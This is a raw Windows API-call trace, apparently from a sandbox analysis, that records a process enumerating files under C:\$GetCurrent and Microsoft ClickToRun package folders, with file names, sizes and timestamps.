	[0062.140] FindNextFileW (in: hFindFile=0xb98da8, lpFindFileData=0x2b8f700 | out: lpFindFileData=0x2b8f700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x973abb0f, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x980eecb6, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1774, dwReserved0=0x0, dwReserved1=0x0, cFileName="oobe_2017_09_07_03_08_57_737.log", cAlternateFileName="OOBE_2~1.LOG")) returned 1
	[0062.140] GetLastError () returned 0x0
	[0062.140] SetLastError (dwErrCode=0x0) 
	[0062.140] GetLastError () returned 0x0
	[0062.140] SetLastError (dwErrCode=0x0) 
	[0062.140] GetLastError () returned 0x0
	[0062.141] SetLastError (dwErrCode=0x0) 
	[0062.141] GetLastError () returned 0x0
	[0062.141] SetLastError (dwErrCode=0x0) 
	[0062.141] GetLastError () returned 0x0
	[0062.141] SetLastError (dwErrCode=0x0) 
	[0062.141] GetLastError () returned 0x0
	[0062.141] SetLastError (dwErrCode=0x0) 
	[0062.141] GetLastError () returned 0x0
	[0062.141] SetLastError (dwErrCode=0x0) 
	[0062.141] GetLastError () returned 0x0
	[0062.141] SetLastError (dwErrCode=0x0) 
	[0062.141] GetLastError () returned 0x0
	[0062.141] SetLastError (dwErrCode=0x0) 
	[0062.141] GetLastError () returned 0x0
	[0062.141] SetLastError (dwErrCode=0x0) 
	[0062.141] GetLastError () returned 0x0
	[0062.141] SetLastError (dwErrCode=0x0) 
	[0062.141] GetLastError () returned 0x0
	[0062.141] SetLastError (dwErrCode=0x0) 
	[0062.141] GetLastError () returned 0x0
	[0062.141] SetLastError (dwErrCode=0x0) 
	[0062.141] GetLastError () returned 0x0
	[0062.142] SetLastError (dwErrCode=0x0) 
	[0062.142] GetLastError () returned 0x0
	[0062.142] SetLastError (dwErrCode=0x0) 
	[0062.142] GetLastError () returned 0x0
	[0062.142] SetLastError (dwErrCode=0x0) 
	[0062.142] GetLastError () returned 0x0
	[0062.142] SetLastError (dwErrCode=0x0) 
	[0062.142] GetLastError () returned 0x0
	[0062.142] SetLastError (dwErrCode=0x0) 
	[0062.142] GetLastError () returned 0x0
	[0062.142] SetLastError (dwErrCode=0x0) 
	[0062.142] GetLastError () returned 0x0
	[0062.142] SetLastError (dwErrCode=0x0) 
	[0062.142] GetLastError () returned 0x0
	[0062.142] SetLastError (dwErrCode=0x0) 
	[0062.142] GetLastError () returned 0x0
	[0062.142] SetLastError (dwErrCode=0x0) 
	[0062.142] GetLastError () returned 0x0
	[0062.142] SetLastError (dwErrCode=0x0) 
	[0062.142] GetLastError () returned 0x0
	[0062.142] SetLastError (dwErrCode=0x0) 
	[0062.142] GetLastError () returned 0x0
	[0062.142] SetLastError (dwErrCode=0x0) 
	[0062.143] GetLastError () returned 0x0
	[0062.143] SetLastError (dwErrCode=0x0) 
	[0062.143] GetLastError () returned 0x0
	[0062.143] SetLastError (dwErrCode=0x0) 
	[0062.143] GetLastError () returned 0x0
	[0062.143] SetLastError (dwErrCode=0x0) 
	[0062.143] GetLastError () returned 0x0
	[0062.143] SetLastError (dwErrCode=0x0) 
	[0062.143] GetLastError () returned 0x0
	[0062.143] SetLastError (dwErrCode=0x0) 
	[0062.143] GetLastError () returned 0x0
	[0062.143] SetLastError (dwErrCode=0x0) 
	[0062.143] GetLastError () returned 0x0
	[0062.143] SetLastError (dwErrCode=0x0) 
	[0062.143] GetLastError () returned 0x0
	[0062.143] SetLastError (dwErrCode=0x0) 
	[0062.143] GetLastError () returned 0x0
	[0062.143] SetLastError (dwErrCode=0x0) 
	[0062.143] GetLastError () returned 0x0
	[0062.144] SetLastError (dwErrCode=0x0) 
	[0062.144] GetLastError () returned 0x0
	[0062.144] SetLastError (dwErrCode=0x0) 
	[0062.144] GetLastError () returned 0x0
	[0062.144] SetLastError (dwErrCode=0x0) 
	[0062.144] GetLastError () returned 0x0
	[0062.144] SetLastError (dwErrCode=0x0) 
	[0062.144] GetLastError () returned 0x0
	[0062.144] SetLastError (dwErrCode=0x0) 
	[0062.144] GetLastError () returned 0x0
	[0062.144] SetLastError (dwErrCode=0x0) 
	[0062.144] GetLastError () returned 0x0
	[0062.144] SetLastError (dwErrCode=0x0) 
	[0062.144] GetLastError () returned 0x0
	[0062.144] SetLastError (dwErrCode=0x0) 
	[0062.144] GetLastError () returned 0x0
	[0062.144] SetLastError (dwErrCode=0x0) 
	[0062.144] GetLastError () returned 0x0
	[0062.144] SetLastError (dwErrCode=0x0) 
	[0062.144] GetLastError () returned 0x0
	[0062.144] SetLastError (dwErrCode=0x0) 
	[0062.144] GetLastError () returned 0x0
	[0062.145] SetLastError (dwErrCode=0x0) 
	[0062.145] GetLastError () returned 0x0
	[0062.145] SetLastError (dwErrCode=0x0) 
	[0062.145] GetLastError () returned 0x0
	[0062.145] SetLastError (dwErrCode=0x0) 
	[0062.145] GetLastError () returned 0x0
	[0062.145] SetLastError (dwErrCode=0x0) 
	[0062.145] GetLastError () returned 0x0
	[0062.145] SetLastError (dwErrCode=0x0) 
	[0062.145] GetLastError () returned 0x0
	[0062.145] SetLastError (dwErrCode=0x0) 
	[0062.145] GetLastError () returned 0x0
	[0062.145] SetLastError (dwErrCode=0x0) 
	[0062.145] GetLastError () returned 0x0
	[0062.145] SetLastError (dwErrCode=0x0) 
	[0062.145] GetLastError () returned 0x0
	[0062.145] SetLastError (dwErrCode=0x0) 
	[0062.145] GetLastError () returned 0x0
	[0062.145] SetLastError (dwErrCode=0x0) 
	[0062.145] GetLastError () returned 0x0
	[0062.145] SetLastError (dwErrCode=0x0) 
	[0062.145] GetLastError () returned 0x0
	[0062.146] SetLastError (dwErrCode=0x0) 
	[0062.146] GetLastError () returned 0x0
	[0062.146] SetLastError (dwErrCode=0x0) 
	[0062.146] GetLastError () returned 0x0
	[0062.146] SetLastError (dwErrCode=0x0) 
	[0062.146] GetLastError () returned 0x0
	[0062.146] SetLastError (dwErrCode=0x0) 
	[0062.146] GetLastError () returned 0x0
	[0062.146] SetLastError (dwErrCode=0x0) 
	[0062.146] GetLastError () returned 0x0
	[0062.146] SetLastError (dwErrCode=0x0) 
	[0062.146] GetLastError () returned 0x0
	[0062.146] SetLastError (dwErrCode=0x0) 
	[0062.146] GetLastError () returned 0x0
	[0062.146] SetLastError (dwErrCode=0x0) 
	[0062.146] GetLastError () returned 0x0
	[0062.146] SetLastError (dwErrCode=0x0) 
	[0062.146] GetLastError () returned 0x0
	[0062.146] SetLastError (dwErrCode=0x0) 
	[0062.146] GetLastError () returned 0x0
	[0062.146] SetLastError (dwErrCode=0x0) 
	[0062.146] GetLastError () returned 0x0
	[0062.147] SetLastError (dwErrCode=0x0) 
	[0062.147] GetLastError () returned 0x0
	[0062.147] SetLastError (dwErrCode=0x0) 
	[0062.147] GetLastError () returned 0x0
	[0062.147] SetLastError (dwErrCode=0x0) 
	[0062.147] GetLastError () returned 0x0
	[0062.147] SetLastError (dwErrCode=0x0) 
	[0062.147] GetLastError () returned 0x0
	[0062.147] SetLastError (dwErrCode=0x0) 
	[0062.147] GetLastError () returned 0x0
	[0062.147] SetLastError (dwErrCode=0x0) 
	[0062.147] GetLastError () returned 0x0
	[0062.147] SetLastError (dwErrCode=0x0) 
	[0062.147] FindNextFileW (in: hFindFile=0xb98da8, lpFindFileData=0x2b8f700 | out: lpFindFileData=0x2b8f700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c5a0a89, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x9c5a0a89, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xbb3747bd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log", cAlternateFileName="PARTNE~1.LOG")) returned 1
	[0062.147] FindNextFileW (in: hFindFile=0xb98da8, lpFindFileData=0x2b8f700 | out: lpFindFileData=0x2b8f700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c5a0a89, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x9c5a0a89, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xbb3747bd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log", cAlternateFileName="PARTNE~1.LOG")) returned 0
	[0062.149] FindClose (in: hFindFile=0xb98da8 | out: hFindFile=0xb98da8) returned 1
	[0062.150] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2f20070 | out: hHeap=0x2720000) returned 1
	[0062.151] FindNextFileW (in: hFindFile=0xb99428, lpFindFileData=0x2b8f984 | out: lpFindFileData=0x2b8f984*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="SafeOS", cAlternateFileName="")) returned 1
	[0062.151] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\*", lpFindFileData=0x2b8f700 | out: lpFindFileData=0x2b8f700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb98da8
	[0062.387] FindNextFileW (in: hFindFile=0xb98da8, lpFindFileData=0x2b8f700 | out: lpFindFileData=0x2b8f700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.387] FindNextFileW (in: hFindFile=0xb98da8, lpFindFileData=0x2b8f700 | out: lpFindFileData=0x2b8f700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9568f13f, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x9568f13f, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x232c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentOOBE.dll", cAlternateFileName="GETCUR~1.DLL")) returned 1
	[0062.742] FindClose (in: hFindFile=0xbaa9c8 | out: hFindFile=0xbaa9c8) returned 1
	[0062.756] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x3870068 | out: hHeap=0x2720000) returned 1
	[0063.050] FindNextFileW (in: hFindFile=0xbaa488, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82f9a029, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8300c739, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8300c739, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 0
	[0063.050] FindClose (in: hFindFile=0xbaa488 | out: hFindFile=0xbaa488) returned 1
	[0063.051] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2f30078 | out: hHeap=0x2720000) returned 1
	[0063.051] FindNextFileW (in: hFindFile=0xbaa4c8, lpFindFileData=0x2b8f47c | out: lpFindFileData=0x2b8f47c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3dbb3c9, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x8512127a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8512127a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x7b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="DeploymentConfig.0.xml", cAlternateFileName="DEPLOY~1.XML")) returned 1
	[0063.051] FindNextFileW (in: hFindFile=0xbaa4c8, lpFindFileData=0x2b8f47c | out: lpFindFileData=0x2b8f47c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b22dc95, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa011b19, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xfa011b19, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x7b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DeploymentConfig.1.xml", cAlternateFileName="DEPLOY~3.XML")) returned 1
	[0063.051] FindNextFileW (in: hFindFile=0xbaa4c8, lpFindFileData=0x2b8f47c | out: lpFindFileData=0x2b8f47c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x534ee362, ftCreationTime.dwHighDateTime=0x1d32745, ftLastAccessTime.dwLowDateTime=0x3c4413a9, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3c4413a9, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0x0, dwReserved1=0x0, cFileName="DeploymentConfig.2.xml", cAlternateFileName="DEPLOY~2.XML")) returned 1
	[0063.052] FindNextFileW (in: hFindFile=0xbaa4c8, lpFindFileData=0x2b8f47c | out: lpFindFileData=0x2b8f47c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845f41a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MachineData", cAlternateFileName="MACHIN~1")) returned 1
	[0063.052] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\*", lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845f41a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xbaa9c8
	[0063.052] FindNextFileW (in: hFindFile=0xbaa9c8, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845f41a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0063.052] FindNextFileW (in: hFindFile=0xbaa9c8, lpFindFileData=0x2b8f1f8 | out: lpFindFileData=0x2b8f1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85953409, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Catalog", cAlternateFileName="")) returned 1
	[0063.052] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\*", lpFindFileData=0x2b8ef74 | out: lpFindFileData=0x2b8ef74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85953409, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xbaa848
	[0063.052] FindNextFileW (in: hFindFile=0xbaa848, lpFindFileData=0x2b8ef74 | out: lpFindFileData=0x2b8ef74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85953409, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0063.053] FindNextFileW (in: hFindFile=0xbaa848, lpFindFileData=0x2b8ef74 | out: lpFindFileData=0x2b8ef74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85953409, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Packages", cAlternateFileName="")) returned 1
	[0063.054] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\*", lpFindFileData=0x2b8ecf0 | out: lpFindFileData=0x2b8ecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85953409, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xbaa208
	[0063.054] FindNextFileW (in: hFindFile=0xbaa208, lpFindFileData=0x2b8ecf0 | out: lpFindFileData=0x2b8ecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85953409, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0063.054] FindNextFileW (in: hFindFile=0xbaa208, lpFindFileData=0x2b8ecf0 | out: lpFindFileData=0x2b8ecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85953409, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{9AC08E99-230B-47E8-9721-4577B7F124EA}", cAlternateFileName="{9AC08~1")) returned 1
	[0063.054] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\*", lpFindFileData=0x2b8ea6c | out: lpFindFileData=0x2b8ea6c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85953409, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xbaa8c8
	[0063.054] FindNextFileW (in: hFindFile=0xbaa8c8, lpFindFileData=0x2b8ea6c | out: lpFindFileData=0x2b8ea6c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85953409, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0063.054] FindNextFileW (in: hFindFile=0xbaa8c8, lpFindFileData=0x2b8ea6c | out: lpFindFileData=0x2b8ea6c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3cb8e906, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3cb8e906, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{1A8308C7-90D1-4200-B16E-646F163A08E8}", cAlternateFileName="{1A830~1")) returned 1
	[0063.054] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\*", lpFindFileData=0x2b8e7e8 | out: lpFindFileData=0x2b8e7e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3cb8e906, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3cb8e906, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xbaa608
	[0063.054] FindNextFileW (in: hFindFile=0xbaa608, lpFindFileData=0x2b8e7e8 | out: lpFindFileData=0x2b8e7e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3cb8e906, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3cb8e906, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0063.055] FindNextFileW (in: hFindFile=0xbaa608, lpFindFileData=0x2b8e7e8 | out: lpFindFileData=0x2b8e7e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x3c4670e0, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x266, dwReserved0=0x0, dwReserved1=0x0, cFileName="DeploymentConfiguration.xml", cAlternateFileName="DEPLOY~1.XML")) returned 1
	[0063.055] FindNextFileW (in: hFindFile=0xbaa608, lpFindFileData=0x2b8e7e8 | out: lpFindFileData=0x2b8e7e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d6778e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9dfb986, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf9e9425d, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x5ab2f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Manifest.xml", cAlternateFileName="")) returned 1
	[0063.055] FindNextFileW (in: hFindFile=0xbaa608, lpFindFileData=0x2b8e7e8 | out: lpFindFileData=0x2b8e7e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8639b81c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf39b2ab6, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x3c4670e0, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x266, dwReserved0=0x0, dwReserved1=0x0, cFileName="UserDeploymentConfiguration.xml", cAlternateFileName="USERDE~1.XML")) returned 1
	[0063.055] FindNextFileW (in: hFindFile=0xbaa608, lpFindFileData=0x2b8e7e8 | out: lpFindFileData=0x2b8e7e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85eb08ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf36dde8c, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x42b5f096, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x38e9a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="UserManifest.xml", cAlternateFileName="USERMA~1.XML")) returned 1
	[0063.055] FindNextFileW (in: hFindFile=0xbaa608, lpFindFileData=0x2b8e7e8 | out: lpFindFileData=0x2b8e7e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85eb08ee, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf36dde8c, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x42b5f096, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x38e9a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="UserManifest.xml", cAlternateFileName="USERMA~1.XML")) returned 0
	[0063.055] FindClose (in: hFindFile=0xbaa608 | out: hFindFile=0xbaa608) returned 1
	[0063.055] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x38b0088 | out: hHeap=0x2720000) returned 1
	[0063.055] FindNextFileW (in: hFindFile=0xbaa8c8, lpFindFileData=0x2b8ea6c | out: lpFindFileData=0x2b8ea6c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3cb8e906, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3cb8e906, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{1A8308C7-90D1-4200-B16E-646F163A08E8}", cAlternateFileName="{1A830~1")) returned 0
	[0063.055] FindClose (in: hFindFile=0xbaa8c8 | out: hFindFile=0xbaa8c8) returned 1
	[0063.055] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x38a0080 | out: hHeap=0x2720000) returned 1
